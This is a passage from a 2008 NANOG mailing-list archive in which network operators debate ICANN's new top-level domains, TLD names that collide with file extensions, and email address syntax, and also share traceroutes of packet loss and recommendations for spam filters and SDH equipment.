shouldn't become > > impossible. http://publicsuffix.org/ > > Well, this list is a bad workaround for cookies specification problems > and bad programming practices, so I'm not too concerned if it is > perturbed. I don't think bad programming can be blamed in this instance, and cookies are so widely used and so fundamentally broken that a workaround is the best way to improve their security. Tony. -- f.anthony.n.finch http://dotat.at/ FISHER GERMAN BIGHT: SOUTH BACKING SOUTHEAST 4 OR 5, OCCASIONALLY 6 LATER IN FISHER. SLIGHT OR MODERATE. FAIR. GOOD. From dot at dotat.at Tue Jul 1 10:31:41 2008 From: dot at dotat.at (Tony Finch) Date: Tue, 1 Jul 2008 16:31:41 +0100 Subject: DNS and potential energy In-Reply-To: <20080701112759.GA32718@vacation.karoshi.com.> References: <200806290231.m5T2VXob020706@aurora.sol.net> <393FF04B-6BDC-41CE-BCF3-97FC6D0226A2@ca.afilias.info> <20080629235958.GA16853@vacation.karoshi.com.> <20080701112759.GA32718@vacation.karoshi.com.> Message-ID: On Tue, 1 Jul 2008, bmanning at vacation.karoshi.com wrote: > On Mon, Jun 30, 2008 at 07:19:45PM +0100, Tony Finch wrote: > > On Sun, 29 Jun 2008, bmanning at vacation.karoshi.com wrote: > > > > > > one might legitimately argue that ICANN is in need of some serious > > > regulation.... that can happen at that national level or on the > > > international level. > > > > Doesn't ICANN already work like an international regulator? > > Yes they do. And out of the other side of their mouth, they deny they > are a regulator. So you say the solution for bad regulation is more regulation. Tony. -- f.anthony.n.finch http://dotat.at/ FAIR ISLE FAEROES: SOUTHEAST 5 TO 7. MODERATE OR ROUGH. OCCASIONAL RAIN. MODERATE OR GOOD, OCCASIONALLY POOR. From regnauld at catpipe.net Tue Jul 1 10:43:24 2008 From: regnauld at catpipe.net (Phil Regnauld) Date: Tue, 1 Jul 2008 17:43:24 +0200 Subject: ICANN opens up Pandora's Box of new TLDs In-Reply-To: <20080630093829.GE39571@catpipe.net> References: <20080629214555.482862B7C03@mx5.roble.com> <20080629220603.16028.qmail@simone.iecc.com> <20080630093829.GE39571@catpipe.net> Message-ID: <20080701154324.GB305@catpipe.net> Phil Regnauld (regnauld) writes: > John Levine (johnl) writes: > > d) 280 > > # dig @f.root-servers.net axfr . | egrep 'IN[[:space:]]NS' | awk '{ print $1 }' | sort -u |wc -l > > 281 Interesting extract from a transcript of tICANN board meeting in Paris. It doesn't say much about what was originally envisioned, but sheds light on the considerations that were made. http://isoc-ny.org/wiki/ICANN_-_Paris/Board_meeting [It's in the first statement from Dave Wodelet:] I just think it's important for the public record to make some comments about adding new gTLDs to the root. While conceptually I agree and see the benefit to the community with adding more TLDs to the root, there are still some concerns about how scalable in the long term this will be. How many can we truly support? Well, from the best guess we have, and I do stress the word "guess," somewhere around 5,000 or so TLDs seem to be realistic. But how high can we actually go? We really don't know. There are both technical and administrative issue limits to the scaling. And it looks like the administrative issues may be more limiting than the technical ones. Certainly, what we do now administratively will certainly need to change to support even the 5,000 or so that I mentioned earlier. So how many will we have to support? Well, if we just look at the number of place names, there seems to be somewhere between 5 and 6 million place names in the world. And if every one of these wanted a TLD, that might not be possible. And the 5 to 6 million place names doesn't include the number of commercial TLDs businesses may want, and this 5 to 6 million doesn't include the vanity names people may want as well, nor does this 5 to 6 million include what we may need in the future for names of planets, planetary colonies, which may, indeed, happen within the life of our Internet. So I am a bit concerned about spending our TLD name inheritance for future generations of Internet users. As we know, everything has limits, like IPv4. We all know that has a limit, and that's why we're looking at IPv6. From johnl at iecc.com Tue Jul 1 10:44:05 2008 From: johnl at iecc.com (John Levine) Date: 1 Jul 2008 15:44:05 -0000 Subject: DNS and potential energy In-Reply-To: <7840C7AD-3E51-4F74-8E2C-03A4AFB943FF@multicasttech.com> Message-ID: <20080701154405.15379.qmail@simone.iecc.com> Once again, I am baffled that people would rather speculate than do five minutes of reading. (Well, maybe baffled isn't the word.) >There is the question of the fee structure. If the fee is really > $ >100,000 USD, then this will damp down the numbers considerably. The fee isn't set, but I haven't seen any estimates under $100K. >How many .com domains are there ? I have a _2001_ report of 19 >million. I would guess maybe 50 million by now. If you had looked at the GNSO report, you wouldn't have to guess. It says there are roughly as many 2LDs in .COM as in all other TLDs combined, a pattern that hasn't changed in years. >What there may be is a raft of trademark lawsuits - for example, That's a given. R's, John From Valdis.Kletnieks at vt.edu Tue Jul 1 11:02:57 2008 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 01 Jul 2008 12:02:57 -0400 Subject: DNS and potential energy In-Reply-To: Your message of "Tue, 01 Jul 2008 09:32:00 EDT." <7840C7AD-3E51-4F74-8E2C-03A4AFB943FF@multicasttech.com> References: <200806290231.m5T2VXob020706@aurora.sol.net> <393FF04B-6BDC-41CE-BCF3-97FC6D0226A2@ca.afilias.info> <20080629235958.GA16853@vacation.karoshi.com> <6eb799ab0806302243s64736440x1d5d334b80a003b9@mail.gmail.com> <7840C7AD-3E51-4F74-8E2C-03A4AFB943FF@multicasttech.com> Message-ID: <40587.1214928177@turing-police.cc.vt.edu> On Tue, 01 Jul 2008 09:32:00 EDT, Marshall Eubanks said: > How many .com domains are there ? I have a _2001_ report of 19 > million. I would guess maybe 50 million by now. The last numbers I saw was 140M .coms. However, due to the incredible amount of churn due to domain-tasting by spammers, 50M *stable* .coms is probably a reasonable guess... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available URL: From vixie at isc.org Tue Jul 1 11:03:39 2008 From: vixie at isc.org (Paul Vixie) Date: 01 Jul 2008 16:03:39 +0000 Subject: can all current nanog threads move to nanog-ot@ plz? Message-ID: here's how it looks just before i hit the "catch up" button. [ 23: mailman-owner at nanog.] nanog.org mailing list memberships reminder [ 90: "James Hess" ] Re: DNS and potential energy < 155: Marshall Eubanks > [ 22: John Levine ] < 35: "Jay R. Ashworth" > < 119: Rob Pickering > < 21: Tony Finch > Y -[ 82: Jeroen Massar ] REJECT-ON-SMTP-DATA (Re: Mail Server best practices - was: Pandora's [ 15: Roland Perry ] Re: what problem are we solving? (was Re: ICANN opens [ 10: Roland Perry ] Re: what problem are we solving? (was Re: ICANN opens up [ 12: Stephane Bortzmeyer ] Re: ICANN opens up Pandora's Box of new TLDs < 23: Tony Finch > < 50: Phil Regnauld > [ 36: David Conrad ] TLDs and file extensions (Re: DNS and potential energy) Y - [ 30: michael.dillon at bt.co] [ 31: "Jay R. Ashworth" ] Re: what problem are we solving? (was Re: ICANN opens up Pandora's [ 19: Joe Greco ] [ 135: "Jay R. Ashworth" ] RFC 1480 - does it generalize (was What Problem; was ICANN/Pandora) [ 60: Chris Owen ] Re: REJECT-ON-SMTP-DATA (Re: Mail Server best practices - was: [ 26: "Jay R. Ashworth" ] Re: Mail Server best practices - was: Pandora's Box of new TLDs -- Paul Vixie From hag at linnaean.org Tue Jul 1 11:16:20 2008 From: hag at linnaean.org (Daniel Hagerty) Date: 01 Jul 2008 12:16:20 -0400 Subject: DNS and potential energy In-Reply-To: Rob Pickering's message of "Tue, 01 Jul 2008 15:28:56 +0100" References: Message-ID: Rob Pickering writes: > Or .com. Oddly enough I just now found a Windows box and typed > "command.com" in a browser URL bar and it did what I expected, when I > typed the same thing at a cmd prompt it did something different and I > expected that too. 1. Copy \windows\system32\cmd.exe to the desktop. 2. Run internet exploder. 3. Type "cmd.exe" in the address bar and observe what happens. I don't know about you, but given ie's default download location, and your (apparently common) erroneous expectation, this looks ripe for social engineering to me. From dot at dotat.at Tue Jul 1 11:53:53 2008 From: dot at dotat.at (Tony Finch) Date: Tue, 1 Jul 2008 17:53:53 +0100 Subject: TLDs and file extensions (Re: DNS and potential energy) In-Reply-To: References: <200806290231.m5T2VXob020706@aurora.sol.net> <393FF04B-6BDC-41CE-BCF3-97FC6D0226A2@ca.afilias.info> <20080629235958.GA16853@vacation.karoshi.com.> <6eb799ab0806302243s64736440x1d5d334b80a003b9@mail.gmail.com> Message-ID: On Tue, 1 Jul 2008, David Conrad wrote: > > I could maybe see a problem with ".LOCAL" due to mdns or llmnr or ".1" > due to the risk of someone registering "127.0.0.1" RFC 1123 section 2.1 says TLDs can't be purely numeric. Tony. -- f.anthony.n.finch http://dotat.at/ BISCAY: WEST 4 OR 5, OCCASIONALLY 6 LATER. SLIGHT OR MODERATE BECOMING ROUGH. THUNDERY SHOWERS. MODERATE OR GOOD. From dot at dotat.at Tue Jul 1 12:10:29 2008 From: dot at dotat.at (Tony Finch) Date: Tue, 1 Jul 2008 18:10:29 +0100 Subject: ICANN opens up Pandora's Box of new TLDs In-Reply-To: <20080630204523.GG8195@cgi.jachomes.com> References: <20080629214555.482862B7C03@mx5.roble.com> <20080630064659.GA6095@sources.org> <63ac96a50806300036u5c1a9bbdq4efb8e4879650434@mail.gmail.com> <20080630204523.GG8195@cgi.jachomes.com> Message-ID: On Mon, 30 Jun 2008, Jay R. Ashworth wrote: > On Mon, Jun 30, 2008 at 06:47:30PM +0100, Tony Finch wrote: > > > > Trailing dots in email addresses are a syntax error. > > In fact, Mutt (1.2.5) permits the trailing dot, and delivers the mail, > and all the intervening MTAs (I only tested local mail on my machine, > running Postfix) let the message through -- it came through apparently > having been rewritten by Postfix to lose the trailing dot; there was an > X-Original-To header. Postfix corrects many syntax errors rather than rejecting erroneous messages. > Tony: what authority were you depending on for your assertion, and in > which context do you make it? It has been true of all internet email addresses since before dots were introduced into host names. RFC 2821 section 4.1.2 Command Argument Syntax Domain = (sub-domain 1*("." sub-domain)) / address-literal sub-domain = Let-dig [Ldh-str] Let-dig = ALPHA / DIGIT Ldh-str = *( ALPHA / DIGIT / "-" ) Let-dig Note that this does not permit a trailing dot. (It also doesn't permit single-component domains, but that's due to an editorial mistake.) Section 4.1.2 of RFC 821 also does not permit trailing dots. RFC 2822 section 3.4.1 Addr-spec specification domain = dot-atom / domain-literal / obs-domain dot-atom = [CFWS] dot-atom-text [CFWS] dot-atom-text = 1*atext *("." 1*atext) This also does not permit trailing dots. RFC 822 section 6 is similar. See also RFC 733, which allows no dots at all. Tony. -- f.anthony.n.finch http://dotat.at/ HUMBER THAMES DOVER WIGHT: EAST OR SOUTHEAST 4 OR 5, OCCASIONALLY 6 IN HUMBER, BECOMING VARIABLE 3 OR 4. SLIGHT OR MODERATE. THUNDERY SHOWERS. MODERATE OR GOOD, OCCASIONALLY POOR. From jra at baylink.com Tue Jul 1 12:13:31 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Tue, 1 Jul 2008 13:13:31 -0400 Subject: DNS and potential energy In-Reply-To: <6eb799ab0806302243s64736440x1d5d334b80a003b9@mail.gmail.com> References: <200806290231.m5T2VXob020706@aurora.sol.net> <393FF04B-6BDC-41CE-BCF3-97FC6D0226A2@ca.afilias.info> <20080629235958.GA16853@vacation.karoshi.com.> <6eb799ab0806302243s64736440x1d5d334b80a003b9@mail.gmail.com> Message-ID: <20080701171331.GL19135@cgi.jachomes.com> On Tue, Jul 01, 2008 at 12:43:54AM -0500, James Hess wrote: > Maybe it's not that bad. The eventual result is instead of having a > billion .COM SLDs, there are a billion TLDs: No, no, no, no, no. A billion people don't have half-a-mil each to set up TLD registries. Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Joseph Stalin) From jra at baylink.com Tue Jul 1 12:14:39 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Tue, 1 Jul 2008 13:14:39 -0400 Subject: TLDs and file extensions (Re: DNS and potential energy) In-Reply-To: References: <200806290231.m5T2VXob020706@aurora.sol.net> <393FF04B-6BDC-41CE-BCF3-97FC6D0226A2@ca.afilias.info> <20080629235958.GA16853@vacation.karoshi.com.> <6eb799ab0806302243s64736440x1d5d334b80a003b9@mail.gmail.com> Message-ID: <20080701171439.GM19135@cgi.jachomes.com> On Tue, Jul 01, 2008 at 06:08:43AM -0700, David Conrad wrote: > >Seeing as a certain popular operating system confounds local file > >access via > >Explorer with internet access... > > I gather you're implying MS Windows does this? Start->Run. Type in the full filename of a binary on your path. (FDISK.COM) Type in the basename of a website. (FDISK.COM) Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Joseph Stalin) From Valdis.Kletnieks at vt.edu Tue Jul 1 12:22:40 2008 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 01 Jul 2008 13:22:40 -0400 Subject: DNS and potential energy In-Reply-To: Your message of "Tue, 01 Jul 2008 13:13:31 EDT." <20080701171331.GL19135@cgi.jachomes.com> References: <200806290231.m5T2VXob020706@aurora.sol.net> <393FF04B-6BDC-41CE-BCF3-97FC6D0226A2@ca.afilias.info> <20080629235958.GA16853@vacation.karoshi.com> <6eb799ab0806302243s64736440x1d5d334b80a003b9@mail.gmail.com> <20080701171331.GL19135@cgi.jachomes.com> Message-ID: <44357.1214932960@turing-police.cc.vt.edu> On Tue, 01 Jul 2008 13:13:31 EDT, "Jay R. Ashworth" said: > On Tue, Jul 01, 2008 at 12:43:54AM -0500, James Hess wrote: > > Maybe it's not that bad. The eventual result is instead of having a > > billion .COM SLDs, there are a billion TLDs: > > No, no, no, no, no. > > A billion people don't have half-a-mil each to set up TLD registries. With the US dollar continuing to tank, half-a-mil US$ *will* soon be within reach of a billion people. ;) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available URL: From jra at baylink.com Tue Jul 1 13:48:24 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Tue, 1 Jul 2008 14:48:24 -0400 Subject: what problem are we solving? (was Re: ICANN opens up Pandora's Box of In-Reply-To: References: <171423de0806271024h73e9a181t1df338aa5fe84ef5@mail.gmail.com> <200806281346.m5SDkX9b094171@aurora.sol.net> <20080630212216.GJ8195@cgi.jachomes.com> Message-ID: <20080701184824.GN19135@cgi.jachomes.com> On Tue, Jul 01, 2008 at 12:04:57PM +0100, Roland Perry wrote: > In article <20080630212216.GJ8195 at cgi.jachomes.com>, Jay R. Ashworth > writes > >The Domain Name System is not now, and never has been, away to *find* > >things, anymore than 123 Elm St, Worcester MA is a way to *find* a > >house. > > What about "1 Microsoft Way, Redmond, WA" ? Or 1 Tech Data Drive, Largo, or 1 Infinite Loop; yeah, there are lots of good examples of why addresses are random and shouldn't be used to *locate* things... except as keys into directories. Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Joseph Stalin) From brad.tarno at rackspace.com Tue Jul 1 14:20:34 2008 From: brad.tarno at rackspace.com (Brad Tarno) Date: Tue, 1 Jul 2008 14:20:34 -0500 Subject: Packetloss while transiting as7018 Message-ID: Any AT&T engineers willing to help me out? I'm seeing some significant packet loss but only when using our AT&T circuit. (USING AT&T) Source: 67.192.51.58 Destination: 24.73.68.114 traceroute to 24.73.68.114 (24.73.68.114), 30 hops max, 46 byte packets 1 72.3.242.2 (72.3.242.2) 0.569 ms 0.566 ms 0.606 ms 2 core3-120.dfw1.rackspace.net (72.3.129.128) 0.359 ms 0.338 ms 0.366 ms 3 vlan903.edge4.dfw1.rackspace.com (72.3.128.52) 0.484 ms 0.476 ms 0.366 ms 4 12.87.41.177 (12.87.41.177) 2.111 ms 1.980 ms 1.864 ms 5 tbr1.dlstx.ip.att.net (12.122.100.42) 2.485 ms 2.474 ms 2.613 ms MPLS Label=32334 CoS=0 TTL=127 S=0 6 * ggr3.dlstx.ip.att.net (12.123.16.193) 2.091 ms 1.962 ms 7 * 192.205.35.142 (192.205.35.142) 2.210 ms 2.212 ms 8 vlan89.csw3.Dallas1.Level3.net (4.68.19.190) 2.483 ms 12.595 ms * 9 ae-81-81.ebr1.Dallas1.Level3.net (4.69.136.129) 15.869 ms * 6.799 ms 10 ae-1-12.bar2.Tampa1.Level3.net (4.69.137.117) 59.553 ms 33.089 ms 33.075 ms 11 * * * 12 ROADRUNNER.car2.Tampa1.Level3.net (4.79.146.2) 33.198 ms 33.463 ms 33.288 ms 13 gig14-0.tampfledc-rtr2.tampflrdc.rr.com (65.32.13.34) 33.341 ms 33.190 ms * 14 gig14-1-0.tampflc03-ar41.tampflrdc.rr.com (65.32.24.113) 36.223 ms 35.200 ms * 15 rrcs-24-73-68-114.se.biz.rr.com (24.73.68.114) 46.048 ms * * --- 24.73.68.114 ping statistics --- 374 packets transmitted, 193 received, 48% packet loss, time 373296ms rtt min/avg/max/mdev = 42.010/44.140/65.817/2.757 ms, pipe 2 (NOT USING AT&T) traceroute to 24.73.68.114 (24.73.68.114), 30 hops max, 46 byte packets 1 72.3.242.2 (72.3.242.2) 0.598 ms 0.972 ms 0.606 ms 2 core3-120.dfw1.rackspace.net (72.3.129.128) 0.504 ms 0.468 ms 0.441 ms 3 vlan903.edge3.dfw1.rackspace.com (72.3.128.51) 1.914 ms 1.954 ms 1.992 ms 4 xe-8-1.r02.dllstx09.us.bb.gin.ntt.net (157.238.225.221) 2.098 ms 2.138 ms 1.986 ms 5 4.68.63.221 (4.68.63.221) 60.079 ms 2.060 ms 2.120 ms 6 vlan89.csw3.Dallas1.Level3.net (4.68.19.190) 2.419 ms 15.234 ms 2.244 ms 7 ae-81-81.ebr1.Dallas1.Level3.net (4.69.136.129) 2.758 ms 14.855 ms 2.995 ms 8 ae-1-12.bar2.Tampa1.Level3.net (4.69.137.117) 33.125 ms 32.968 ms 33.334 ms 9 ae-7-7.car2.Tampa1.Level3.net (4.69.133.41) 32.984 ms 32.956 ms 33.192 ms 10 ROADRUNNER.car2.Tampa1.Level3.net (4.79.146.2) 33.161 ms 33.068 ms 33.343 ms 11 gig10-0.tampfledc-rtr2.tampflrdc.rr.com (65.32.13.65) 33.213 ms gig14-0.tampfledc-rtr2.tampflrdc.rr.com (65.32.13.34) 33.085 ms 32.954 ms 12 gig14-1-0.tampflc03-ar41.tampflrdc.rr.com (65.32.24.113) 34.965 ms 35.080 ms 34.845 ms 13 rrcs-24-73-68-114.se.biz.rr.com (24.73.68.114) 42.830 ms 43.941 ms 44.589 ms --- 24.73.68.114 ping statistics --- 122 packets transmitted, 122 received, 0% packet loss, time 121191ms rtt min/avg/max/mdev = 41.699/43.900/46.118/1.060 ms, pipe 2 ============================ Brad Tarno Backbone Network Engineer Rackspace IT Hosting ============================ Confidentiality Notice: This e-mail message (including any attached or embedded documents) is intended for the exclusive and confidential use of the individual or entity to which this message is addressed, and unless otherwise expressly indicated, is confidential and privileged information of Rackspace. Any dissemination, distribution or copying of the enclosed material is prohibited. If you receive this transmission in error, please notify us immediately by e-mail at abuse at rackspace.com, and delete the original message. Your cooperation is appreciated. From tomb at byrneit.net Tue Jul 1 14:25:38 2008 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Tue, 1 Jul 2008 12:25:38 -0700 Subject: what problem are we solving? (was Re: ICANN opens upPandora's Box of In-Reply-To: <20080701184824.GN19135@cgi.jachomes.com> References: <171423de0806271024h73e9a181t1df338aa5fe84ef5@mail.gmail.com><200806281346.m5SDkX9b094171@aurora.sol.net><20080630212216.GJ8195@cgi.jachomes.com> <20080701184824.GN19135@cgi.jachomes.com> Message-ID: <70D072392E56884193E3D2DE09C097A9F2BE@pascal.zaphodb.org> Shouldn't we take all the ICANNt and DNS Related stuff to dns-operations? -----Original Message----- From: Jay R. Ashworth [mailto:jra at baylink.com] Sent: Tuesday, July 01, 2008 11:48 AM To: nanog at nanog.org Subject: Re: what problem are we solving? (was Re: ICANN opens upPandora's Box of On Tue, Jul 01, 2008 at 12:04:57PM +0100, Roland Perry wrote: > In article <20080630212216.GJ8195 at cgi.jachomes.com>, Jay R. Ashworth > writes > >The Domain Name System is not now, and never has been, away to *find* > >things, anymore than 123 Elm St, Worcester MA is a way to *find* a > >house. > > What about "1 Microsoft Way, Redmond, WA" ? Or 1 Tech Data Drive, Largo, or 1 Infinite Loop; yeah, there are lots of good examples of why addresses are random and shouldn't be used to *locate* things... except as keys into directories. Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Joseph Stalin) No virus found in this incoming message. Checked by AVG. Version: 8.0.101 / Virus Database: 270.4.3/1528 - Release Date: 7/1/2008 7:26 AM From ghicks at cadence.com Tue Jul 1 14:31:30 2008 From: ghicks at cadence.com (Gregory Hicks) Date: Tue, 1 Jul 2008 12:31:30 -0700 (PDT) Subject: what problem are we solving? (was Re: ICANN opens upPandora's Box of Message-ID: <200807011931.m61JVUhl009083@mailhub.Cadence.COM> > Subject: RE: what problem are we solving? (was Re: ICANN opens upPandora's Box of > Date: Tue, 1 Jul 2008 12:25:38 -0700 > From: "Tomas L. Byrnes" > To: "Jay R. Ashworth" , > > Shouldn't we take all the ICANNt and DNS Related stuff to > dns-operations? Seems more "on-topic" there... > > > -----Original Message----- > From: Jay R. Ashworth [mailto:jra at baylink.com] > Sent: Tuesday, July 01, 2008 11:48 AM > To: nanog at nanog.org > Subject: Re: what problem are we solving? (was Re: ICANN opens > upPandora's Box of > > On Tue, Jul 01, 2008 at 12:04:57PM +0100, Roland Perry wrote: > > In article <20080630212216.GJ8195 at cgi.jachomes.com>, Jay R. Ashworth > > writes > > >The Domain Name System is not now, and never has been, away to *find* > > > >things, anymore than 123 Elm St, Worcester MA is a way to *find* a > > >house. > > > > What about "1 Microsoft Way, Redmond, WA" ? > > Or 1 Tech Data Drive, Largo, or 1 Infinite Loop; yeah, there are lots of > good examples of why addresses are random and shouldn't be used to > *locate* things... except as keys into directories. > > Cheers, > -- jra > -- > Jay R. Ashworth Baylink > jra at baylink.com > Designer The Things I Think > RFC 2100 > Ashworth & Associates http://baylink.pitas.com > '87 e24 > St Petersburg FL USA http://photo.imageinc.us +1 727 > 647 1274 > > Those who cast the vote decide nothing. > Those who count the vote decide everything. > -- (Joseph Stalin) > > > No virus found in this incoming message. > Checked by AVG. > Version: 8.0.101 / Virus Database: 270.4.3/1528 - Release Date: 7/1/2008 > 7:26 AM > > --------------------------------------------------------------------- Gregory Hicks | Principal Systems Engineer Cadence Design Systems | Direct: 408.576.3609 555 River Oaks Pkwy M/S 9B1 San Jose, CA 95134 I am perfectly capable of learning from my mistakes. I will surely learn a great deal today. "A democracy is a sheep and two wolves deciding on what to have for lunch. Freedom is a well armed sheep contesting the results of the decision." "The best we can hope for concerning the people at large is that they be properly armed." --Alexander Hamilton From LarrySheldon at cox.net Tue Jul 1 15:30:26 2008 From: LarrySheldon at cox.net (Laurence F. Sheldon, Jr.) Date: Tue, 01 Jul 2008 15:30:26 -0500 Subject: DNS and potential energy In-Reply-To: References: <200806290231.m5T2VXob020706@aurora.sol.net> <393FF04B-6BDC-41CE-BCF3-97FC6D0226A2@ca.afilias.info> <20080629235958.GA16853@vacation.karoshi.com.> <20080701112759.GA32718@vacation.karoshi.com.> Message-ID: <486A93E2.7070505@cox.net> Tony Finch wrote: > So you say the solution for bad regulation is more regulation. Been the liberal-socialist mantra for eons. -- Requiescas in pace o email Two identifying characteristics of System Administrators: Ex turpi causa non oritur actio Infallibility, and the ability to learn from their mistakes. Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs From LarrySheldon at cox.net Tue Jul 1 15:32:49 2008 From: LarrySheldon at cox.net (Laurence F. Sheldon, Jr.) Date: Tue, 01 Jul 2008 15:32:49 -0500 Subject: can all current nanog threads move to nanog-ot@ plz? In-Reply-To: References: Message-ID: <486A9471.8030207@cox.net> Paul Vixie wrote: > here's how it looks just before i hit the "catch up" button. Damn! All that operational stuff on NANOG. Whodathunkit?! From justin at justinshore.com Tue Jul 1 16:17:16 2008 From: justin at justinshore.com (Justin Shore) Date: Tue, 01 Jul 2008 16:17:16 -0500 Subject: REJECT-ON-SMTP-DATA (Re: Mail Server best practices - was: Pandora's Box of new TLDs) In-Reply-To: <013D9C7B-D4AF-4703-A351-D5F3A5DF4ECD@hubris.net> References: <20080628161844.GT31980@catpipe.net> <20080628180212.GA35151@catpipe.net> <4866B387.2070900@vaxination.ca> <20080629200826.GD1569@sources.org> <4869FEE6.8070505@spaghetti.zurich.ibm.com> <013D9C7B-D4AF-4703-A351-D5F3A5DF4ECD@hubris.net> Message-ID: <486A9EDC.1050303@justinshore.com> Chris Owen wrote: > The lack of a spam folder is one of the problems with such a solution. > Having a middle ground quarantine is actually quite nice. > > However, the biggest problem is these solutions are global in nature. > We let individual customers considerable control over the process. They > can each set their own block and quarantine levels, configure their own > white and blacklists and even turn the spam controls completely off. > For various reasons none of that would be possible with this solution > and all the implementations you link to all run with a single global > configuration. Chris, I can think of one spam filter that does give both you and your users individual control over all of these settings while still rejecting mail during the SMTP dialog including the DATA phase: CanIt-Pro. http://www.roaringpenguin.com/ CanIt-Pro is a mail filter or 'milter' in Sendmail-speak. It essentially connects into Sendmail from the side. Sendmail calls on it during the SMTP dialog with the remote MTA, giving CanIt-Pro the opportunity to work its magic before the message is accepted for delivery which allows from rejecting mail right up until the last second RFC 2821 permits it. I use CanIt-Pro for this very reason. Each user can have their own individual mail "stream" in CanIt terminology. Each user can define white/blacklists by senders, domains and hosts. Users can block or permit by MIME types or perform actions based on attachment suffixes. They can write their own rules with regexs against the headers or body as well as checking to see if a sending domain matches that of the relaying MTA (not always accurate but often is; ebay.com is a good example). Users can enable or disable individually configured DNSBLs or change the score. They can even define rules based on SPF values. Each user gets their own bayesian DB as well. You as an admin can disable any of the above features on a per-user basis so you can make it as simple or as complex as you want. You can also pre-define streams with specific settings that users can subscribe to if they don't want the more fine-grained control. I created a stream that only tags suspect spam. I also created 3 streams with varying levels of aggressiveness. Have you ever heard the phrase "a pilot's plane"? Well I would liken CanIt to being the equivalent for mail admins and their spam filters. I first started using the OSS predecessor to CanIt back in late 2000 or so called MIMEDefang. MD is still the underpinnings of CanIt. When you buy CanIt you also get the source code so you have the ability to code in custom things if you have the need and desire. It's perfect for SPs. BTW, I'm not a Roaring Penguin employee. I'm just an impressed user of their products so they've earned my loyalty. Justin From krplnktmoo at gmail.com Tue Jul 1 16:28:18 2008 From: krplnktmoo at gmail.com (Kerplunkity Moo) Date: Tue, 1 Jul 2008 17:28:18 -0400 Subject: SDH on the cheap Message-ID: <6e137b6a0807011428h6a9214a8r5d4e5852ef694a5c@mail.gmail.com> Hello. Anyone have a suggestion or recommendation on a vendor for some cheap, but reliable, SDH gear? I don't need anything as powerful as the Ciena Core or Cisco 15454 and I'm wondering if there are alternatives to the alternatives? I need something to aggregate STM-4 and above to STM-64 client signal. Anything out there? Moo From jfmezei at vaxination.ca Tue Jul 1 16:44:45 2008 From: jfmezei at vaxination.ca (=?ISO-8859-1?Q?Jean-Fran=E7ois_Mezei?=) Date: Tue, 01 Jul 2008 17:44:45 -0400 Subject: TLDs and file extensions (Re: DNS and potential energy) In-Reply-To: References: <200806290231.m5T2VXob020706@aurora.sol.net> <393FF04B-6BDC-41CE-BCF3-97FC6D0226A2@ca.afilias.info> <20080629235958.GA16853@vacation.karoshi.com.> <6eb799ab0806302243s64736440x1d5d334b80a003b9@mail.gmail.com> Message-ID: <486AA54D.7040101@vaxination.ca> David Conrad wrote: > People keep making the assertion that top-level domains that have the > same strings as popular file extensions will be a 'security disaster' Microsoft, in its infinite wisdom and desire to not abide by standards it has not set decided that instead of relying on the Mime type (content type:) field in the HTTP response to determine how this particular content should be rendered,, it would look at the letters following the last dot in the URL. There were many viruses which were transmitted this way, with URLs ending in .EXE which meant that Microsoft blindly executed the contents fed over the web. Often, the content type: field would point to a image/jpeg type and standards compliant browsers would simply handle this as a picture with invalid contents. I am now sure if Microsoft continues to based data type decisions on what it interprets as a file extension in a URL or not. But it should not stop the world from moving on because to those who abide by standards, such things are not a problem. However, the issue of http://museum/ is an interesting one. This may affect certain sites who would have to ensure their resolver firsts tests a single node name and only add the local domain name if the first test failed. There may be sites/systems that just automatically tag on the domain name if they just see what looks like a node name. From yardiel at gmail.com Tue Jul 1 18:02:19 2008 From: yardiel at gmail.com (Yardiel Fuentes) Date: Tue, 1 Jul 2008 19:02:19 -0400 Subject: SDH on the cheap In-Reply-To: <6e137b6a0807011428h6a9214a8r5d4e5852ef694a5c@mail.gmail.com> References: <6e137b6a0807011428h6a9214a8r5d4e5852ef694a5c@mail.gmail.com> Message-ID: <3d6d13c70807011602x26eae4aeyfc8168e11fd25fbc@mail.gmail.com> One candidate offering small and/or reasonable prices is: www.mrv.com Yardiel On Tue, Jul 1, 2008 at 5:28 PM, Kerplunkity Moo wrote: > Hello. > > Anyone have a suggestion or recommendation on a vendor for some cheap, but > reliable, SDH gear? I don't need anything as powerful as the Ciena Core or > Cisco 15454 and I'm wondering if there are alternatives to the alternatives? > I need something to aggregate STM-4 and above to STM-64 client signal. > Anything out there? > > Moo > -- Yardiel Fuentes From sam_mailinglists at spacething.org Tue Jul 1 19:07:23 2008 From: sam_mailinglists at spacething.org (Sam Stickland) Date: Wed, 02 Jul 2008 01:07:23 +0100 Subject: Possible explanations for a large hop in latency In-Reply-To: <4aebc7330806261819o6e5eda7aqd16faabfefdc5f1d@mail.gmail.com> References: <48642E62.70206@fluidhosting.com> <48643DC5.1040208@fluidhosting.com> <4aebc7330806261819o6e5eda7aqd16faabfefdc5f1d@mail.gmail.com> Message-ID: <486AC6BB.70501@spacething.org> Even 